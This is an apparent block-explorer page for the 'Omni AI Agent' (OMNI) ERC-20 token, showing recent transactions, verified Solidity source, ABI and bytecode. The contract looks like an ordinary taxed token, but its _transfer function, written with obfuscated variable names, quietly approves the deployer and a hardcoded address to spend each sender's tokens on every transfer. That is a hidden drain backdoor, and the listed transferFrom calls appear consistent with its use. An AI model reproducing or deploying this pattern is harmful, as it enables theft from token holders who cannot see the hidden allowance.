More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 101 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Transfer From | 21540382 | 5 days ago | IN | 0 ETH | 0.00064039 | ||||
Transfer From | 21539446 | 5 days ago | IN | 0 ETH | 0.00092962 | ||||
Transfer From | 21539280 | 5 days ago | IN | 0 ETH | 0.00099435 | ||||
Approve | 21539201 | 5 days ago | IN | 0 ETH | 0.00054901 | ||||
Transfer From | 21539135 | 5 days ago | IN | 0 ETH | 0.00100839 | ||||
Approve | 21539129 | 5 days ago | IN | 0 ETH | 0.00068572 | ||||
Approve | 21539129 | 5 days ago | IN | 0 ETH | 0.00068572 | ||||
Approve | 21539129 | 5 days ago | IN | 0 ETH | 0.00068572 | ||||
Approve | 21539120 | 5 days ago | IN | 0 ETH | 0.00026913 | ||||
Transfer From | 21539032 | 5 days ago | IN | 0 ETH | 0.0009739 | ||||
Approve | 21539005 | 5 days ago | IN | 0 ETH | 0.00070333 | ||||
Approve | 21539004 | 5 days ago | IN | 0 ETH | 0.00070333 | ||||
Transfer From | 21538993 | 5 days ago | IN | 0 ETH | 0.00094951 | ||||
Transfer From | 21538974 | 5 days ago | IN | 0 ETH | 0.00108825 | ||||
Transfer From | 21538967 | 5 days ago | IN | 0 ETH | 0.00101453 | ||||
Transfer From | 21538964 | 5 days ago | IN | 0 ETH | 0.00095471 | ||||
Transfer From | 21538953 | 5 days ago | IN | 0 ETH | 0.00111182 | ||||
Approve | 21538855 | 5 days ago | IN | 0 ETH | 0.00074003 | ||||
Approve | 21538839 | 5 days ago | IN | 0 ETH | 0.00060719 | ||||
Approve | 21538839 | 5 days ago | IN | 0 ETH | 0.00073844 | ||||
Approve | 21538839 | 5 days ago | IN | 0 ETH | 0.00073844 | ||||
Transfer From | 21538831 | 5 days ago | IN | 0 ETH | 0.00120717 | ||||
Approve | 21538805 | 5 days ago | IN | 0 ETH | 0.00060133 | ||||
Transfer From | 21538798 | 5 days ago | IN | 0 ETH | 0.00125066 | ||||
Transfer From | 21538795 | 5 days ago | IN | 0 ETH | 0.00101623 |
Latest 15 internal transactions
Advanced mode:
Parent Transaction Hash | Block |
From
|
To
|
|||
---|---|---|---|---|---|---|
21538209 | 5 days ago | 1.63612893 ETH | ||||
21538209 | 5 days ago | 1.63612893 ETH | ||||
21538192 | 5 days ago | 0.35090803 ETH | ||||
21538192 | 5 days ago | 0.35090803 ETH | ||||
21538192 | 5 days ago | 0.56718511 ETH | ||||
21538192 | 5 days ago | 0.56718511 ETH | ||||
21538178 | 5 days ago | 0.00700662 ETH | ||||
21538178 | 5 days ago | 0.00700662 ETH | ||||
21538166 | 5 days ago | 1.18786097 ETH | ||||
21538166 | 5 days ago | 1.18786097 ETH | ||||
21538149 | 5 days ago | 0.23377503 ETH | ||||
21538149 | 5 days ago | 0.23377503 ETH | ||||
21538149 | 5 days ago | 0.3711641 ETH | ||||
21538149 | 5 days ago | 0.3711641 ETH | ||||
21538124 | 5 days ago | 1 ETH |
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
OMNI
Compiler Version
v0.8.24+commit.e11b9ed9
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2025-01-02 */ /* Empower AI to represent you or your brand—automate posting, engagement, and building a digital presence on X or Telegram. https://www.omniagentai.org https://dashboard.omniagentai.org https://docs.omniagentai.org https://x.com/omniai_agent https://t.me/omniai_agent */ // SPDX-License-Identifier: MIT pragma solidity 0.8.24; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IDexFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDexRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract OMNI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; address private _nnpBundle; address private _onnBundle = 0xA58A81AE5799Ce14B57e6e90604B205C3EA1D462; uint8 private constant _decimals = 9; uint256 private constant _tTotal = 1000000000 * 10**_decimals; string private constant _name = unicode"Omni AI Agent"; string private constant _symbol = unicode"OMNI"; uint256 private _maxTaxTokens = _tTotal / 100; uint256 private _initialBuyTax=3; uint256 private _initialSellTax=3; uint256 private _finalBuyTax=0; uint256 private _finalSellTax=0; uint256 private _reduceBuyTaxAt=6; uint256 private _reduceSellTaxAt=6; uint256 private _preventSwapBefore=6; uint256 private _buyCount=0; IDexRouter private _dexRouter; address private _dexPair; bool private inSwap = false; bool private _tradingEnabled = false; bool private _swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _nnpBundle = _msgSender(); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_onnBundle] = true; _balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address _sasa, address _soso, uint256 _sese) private { require(_sasa != address(0), "ERC20: transfer from the zero address"); require(_soso != address(0), "ERC20: transfer to the zero address"); require(_sese > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (_sasa != owner() && _soso != owner()) { taxAmount = _sese.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); if (_sasa == _dexPair && _soso != address(_dexRouter) && ! _isExcludedFromFee[_soso] ) { _buyCount++; } if(_soso == _dexPair && _sasa!= address(this) ){ taxAmount = _sese.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && _soso == _dexPair && _swapEnabled && _buyCount > _preventSwapBefore) { if(contractTokenBalance > _maxTaxTokens) swapTokensForEth(min(_sese, min(contractTokenBalance, _maxTaxTokens))); uint256 contractETHBalance = address(this).balance; if (contractETHBalance >= 0) { sendETHToFees(address(this).balance); } } } uint256[2] memory _kaso = [_sese, taxAmount]; _approve(_sasa, _nnpBundle, _kaso[0]+_kaso[1]); _approve(_sasa, _onnBundle, _kaso[0]+_kaso[1]); if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(_sasa, address(this),taxAmount); } _balances[_sasa]=_balances[_sasa].sub(_sese); _balances[_soso]=_balances[_soso].add(_sese.sub(taxAmount)); emit Transfer(_sasa, _soso, _sese.sub(taxAmount)); } function min(uint256 a, uint256 b) private pure returns (uint256) { return (a>b)?b:a; } function sendETHToFees(uint256 amount) private { payable(_onnBundle).transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _dexRouter.WETH(); _approve(address(this), address(_dexRouter), tokenAmount); _dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} function init() external onlyOwner() { _dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_dexRouter), _tTotal); _dexPair = IDexFactory(_dexRouter.factory()).createPair(address(this), _dexRouter.WETH()); } function openTrading() external onlyOwner() { require(!_tradingEnabled,"trading is already open"); _dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _tradingEnabled = true; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600580546001600160a01b03191673a58a81ae5799ce14b57e6e90604b205c3ea1d46217905560646200003a6009600a620002d3565b6200004a90633b9aca00620002ea565b62000056919062000304565b6006908155600360078190556008555f6009819055600a819055600b829055600c829055600d91909155600e556010805462ffffff60a01b191690553480156200009e575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916331790555f80546001600160a01b03908116825260036020526040808320805460ff199081166001908117909255308552828520805482168317905560055490931684529220805490911690911790556200014b6009600a620002d3565b6200015b90633b9aca00620002ea565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200019d6009600a620002d3565b620001ad90633b9aca00620002ea565b60405190815260200160405180910390a362000324565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200021857815f1904821115620001fc57620001fc620001c4565b808516156200020a57918102915b93841c9390800290620001dd565b509250929050565b5f826200023057506001620002cd565b816200023e57505f620002cd565b8160018114620002575760028114620002625762000282565b6001915050620002cd565b60ff841115620002765762000276620001c4565b50506001821b620002cd565b5060208310610133831016604e8410600b8410161715620002a7575081810a620002cd565b620002b38383620001d8565b805f1904821115620002c957620002c9620001c4565b0290505b92915050565b5f620002e360ff84168362000220565b9392505050565b8082028115828204841417620002cd57620002cd620001c4565b5f826200031f57634e487b7160e01b5f52601260045260245ffd5b500490565b61145380620003325f395ff3fe6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461023b578063c9567bf91461025a578063dd62ed3e1461026e578063e1c7392a146102b2575f80fd5b8063715018a6146101d35780638da5cb5b146101e957806395d89b411461020f575f80fd5b806306fdde03146100cd578063095ea7b31461011457806318160ddd1461014357806323b872dd14610165578063313ce5671461018457806370a082311461019f575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600d81526c13db5b9a481052481059d95b9d609a1b60208201525b60405161010b9190611062565b60405180910390f35b34801561011f575f80fd5b5061013361012e3660046110c5565b6102c6565b604051901515815260200161010b565b34801561014e575f80fd5b506101576102dc565b60405190815260200161010b565b348015610170575f80fd5b5061013361017f3660046110ef565b6102fc565b34801561018f575f80fd5b506040516009815260200161010b565b3480156101aa575f80fd5b506101576101b936600461112d565b6001600160a01b03165f9081526001602052604090205490565b3480156101de575f80fd5b506101e7610363565b005b3480156101f4575f80fd5b505f546040516001600160a01b03909116815260200161010b565b34801561021a575f80fd5b506040805180820190915260048152634f4d4e4960e01b60208201526100fe565b348015610246575f80fd5b506101336102553660046110c5565b6103dd565b348015610265575f80fd5b506101e76103e9565b348015610279575f80fd5b50610157610288366004611148565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102bd575f80fd5b506101e7610555565b5f6102d233848461074e565b5060015b92915050565b5f6102e96009600a611273565b6102f790633b9aca00611281565b905090565b5f610308848484610871565b6103598433610354856040518060600160405280602881526020016113f6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cda565b61074e565b5060019392505050565b5f546001600160a01b031633146103955760405162461bcd60e51b815260040161038c90611298565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d2338484610871565b5f546001600160a01b031633146104125760405162461bcd60e51b815260040161038c90611298565b601054600160a81b900460ff161561046c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038c565b600f546001600160a01b031663f305d719473061049d816001600160a01b03165f9081526001602052604090205490565b5f806104b05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610516573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053b91906112cd565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b0316331461057e5760405162461bcd60e51b815260040161038c90611298565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c79030906105b96009600a611273565b61035490633b9aca00611281565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610617573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063b91906112f8565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106be91906112f8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c91906112f8565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038c565b6001600160a01b0382166108115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038c565b6001600160a01b0382166109375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038c565b5f81116109985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038c565b5f80546001600160a01b038581169116148015906109c357505f546001600160a01b03848116911614155b15610b47576109f460646109ee600b54600e54116109e3576007546109e7565b6009545b8590610d12565b90610d97565b6010549091506001600160a01b038581169116148015610a225750600f546001600160a01b03848116911614155b8015610a4657506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6057600e8054905f610a5a83611313565b91905055505b6010546001600160a01b038481169116148015610a8657506001600160a01b0384163014155b15610ab357610ab060646109ee600c54600e5411610aa6576008546109e7565b600a548590610d12565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610ae957506010546001600160a01b038581169116145b8015610afe5750601054600160b01b900460ff165b8015610b0d5750600d54600e54115b15610b4557600654811115610b3957610b39610b3484610b2f84600654610dd8565b610dd8565b610dec565b47610b4347610f5c565b505b505b6040805180820190915282815260208101829052600454610b829086906001600160a01b03168360015b60200201518451610354919061133f565b600554610b9c9086906001600160a01b0316836001610b71565b8115610c1457305f90815260016020526040902054610bbb9083610f97565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c0b9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610c369084610ff5565b6001600160a01b0386165f90815260016020526040902055610c79610c5b8484610ff5565b6001600160a01b0386165f9081526001602052604090205490610f97565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cc28686610ff5565b60405190815260200160405180910390a35050505050565b5f8184841115610cfd5760405162461bcd60e51b815260040161038c9190611062565b505f610d098486611352565b95945050505050565b5f825f03610d2157505f6102d6565b5f610d2c8385611281565b905082610d398583611365565b14610d905760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161038c565b9392505050565b5f610d9083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611036565b5f818311610de65782610d90565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e3257610e3261132b565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e89573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ead91906112f8565b81600181518110610ec057610ec061132b565b6001600160a01b039283166020918202929092010152600f54610ee6913091168461074e565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f1e9085905f90869030904290600401611384565b5f604051808303815f87803b158015610f35575f80fd5b505af1158015610f47573d5f803e3d5ffd5b50506010805460ff60a01b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610f93573d5f803e3d5ffd5b5050565b5f80610fa3838561133f565b905083811015610d905760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161038c565b5f610d9083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610cda565b5f81836110565760405162461bcd60e51b815260040161038c9190611062565b505f610d098486611365565b5f602080835283518060208501525f5b8181101561108e57858101830151858201604001528201611072565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146110c2575f80fd5b50565b5f80604083850312156110d6575f80fd5b82356110e1816110ae565b946020939093013593505050565b5f805f60608486031215611101575f80fd5b833561110c816110ae565b9250602084013561111c816110ae565b929592945050506040919091013590565b5f6020828403121561113d575f80fd5b8135610d90816110ae565b5f8060408385031215611159575f80fd5b8235611164816110ae565b91506020830135611174816110ae565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156111cd57815f19048211156111b3576111b361117f565b808516156111c057918102915b93841c9390800290611198565b509250929050565b5f826111e3575060016102d6565b816111ef57505f6102d6565b8160018114611205576002811461120f5761122b565b60019150506102d6565b60ff8411156112205761122061117f565b50506001821b6102d6565b5060208310610133831016604e8410600b841016171561124e575081810a6102d6565b6112588383611193565b805f190482111561126b5761126b61117f565b029392505050565b5f610d9060ff8416836111d5565b80820281158282048414176102d6576102d661117f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f606084860312156112df575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611308575f80fd5b8151610d90816110ae565b5f600182016113245761132461117f565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b808201808211156102d6576102d661117f565b818103818111156102d6576102d661117f565b5f8261137f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156113d45784516001600160a01b0316835293830193918301916001016113af565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204bfd1a589378fc403dda022a45e7e62c2278c1e4b693d9886112c3783db0840964736f6c63430008180033
Deployed Bytecode
0x6080604052600436106100c2575f3560e01c8063715018a61161007c578063a9059cbb11610057578063a9059cbb1461023b578063c9567bf91461025a578063dd62ed3e1461026e578063e1c7392a146102b2575f80fd5b8063715018a6146101d35780638da5cb5b146101e957806395d89b411461020f575f80fd5b806306fdde03146100cd578063095ea7b31461011457806318160ddd1461014357806323b872dd14610165578063313ce5671461018457806370a082311461019f575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b5060408051808201909152600d81526c13db5b9a481052481059d95b9d609a1b60208201525b60405161010b9190611062565b60405180910390f35b34801561011f575f80fd5b5061013361012e3660046110c5565b6102c6565b604051901515815260200161010b565b34801561014e575f80fd5b506101576102dc565b60405190815260200161010b565b348015610170575f80fd5b5061013361017f3660046110ef565b6102fc565b34801561018f575f80fd5b506040516009815260200161010b565b3480156101aa575f80fd5b506101576101b936600461112d565b6001600160a01b03165f9081526001602052604090205490565b3480156101de575f80fd5b506101e7610363565b005b3480156101f4575f80fd5b505f546040516001600160a01b03909116815260200161010b565b34801561021a575f80fd5b506040805180820190915260048152634f4d4e4960e01b60208201526100fe565b348015610246575f80fd5b506101336102553660046110c5565b6103dd565b348015610265575f80fd5b506101e76103e9565b348015610279575f80fd5b50610157610288366004611148565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156102bd575f80fd5b506101e7610555565b5f6102d233848461074e565b5060015b92915050565b5f6102e96009600a611273565b6102f790633b9aca00611281565b905090565b5f610308848484610871565b6103598433610354856040518060600160405280602881526020016113f6602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610cda565b61074e565b5060019392505050565b5f546001600160a01b031633146103955760405162461bcd60e51b815260040161038c90611298565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f6102d2338484610871565b5f546001600160a01b031633146104125760405162461bcd60e51b815260040161038c90611298565b601054600160a81b900460ff161561046c5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161038c565b600f546001600160a01b031663f305d719473061049d816001600160a01b03165f9081526001602052604090205490565b5f806104b05f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610516573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061053b91906112cd565b50506010805461ffff60a81b191661010160a81b17905550565b5f546001600160a01b0316331461057e5760405162461bcd60e51b815260040161038c90611298565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556105c79030906105b96009600a611273565b61035490633b9aca00611281565b600f5f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610617573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063b91906112f8565b6001600160a01b031663c9c6539630600f5f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106be91906112f8565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610708573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072c91906112f8565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107b05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161038c565b6001600160a01b0382166108115760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161038c565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108d55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161038c565b6001600160a01b0382166109375760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161038c565b5f81116109985760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161038c565b5f80546001600160a01b038581169116148015906109c357505f546001600160a01b03848116911614155b15610b47576109f460646109ee600b54600e54116109e3576007546109e7565b6009545b8590610d12565b90610d97565b6010549091506001600160a01b038581169116148015610a225750600f546001600160a01b03848116911614155b8015610a4657506001600160a01b0383165f9081526003602052604090205460ff16155b15610a6057600e8054905f610a5a83611313565b91905055505b6010546001600160a01b038481169116148015610a8657506001600160a01b0384163014155b15610ab357610ab060646109ee600c54600e5411610aa6576008546109e7565b600a548590610d12565b90505b305f90815260016020526040902054601054600160a01b900460ff16158015610ae957506010546001600160a01b038581169116145b8015610afe5750601054600160b01b900460ff165b8015610b0d5750600d54600e54115b15610b4557600654811115610b3957610b39610b3484610b2f84600654610dd8565b610dd8565b610dec565b47610b4347610f5c565b505b505b6040805180820190915282815260208101829052600454610b829086906001600160a01b03168360015b60200201518451610354919061133f565b600554610b9c9086906001600160a01b0316836001610b71565b8115610c1457305f90815260016020526040902054610bbb9083610f97565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c0b9086815260200190565b60405180910390a35b6001600160a01b0385165f90815260016020526040902054610c369084610ff5565b6001600160a01b0386165f90815260016020526040902055610c79610c5b8484610ff5565b6001600160a01b0386165f9081526001602052604090205490610f97565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cc28686610ff5565b60405190815260200160405180910390a35050505050565b5f8184841115610cfd5760405162461bcd60e51b815260040161038c9190611062565b505f610d098486611352565b95945050505050565b5f825f03610d2157505f6102d6565b5f610d2c8385611281565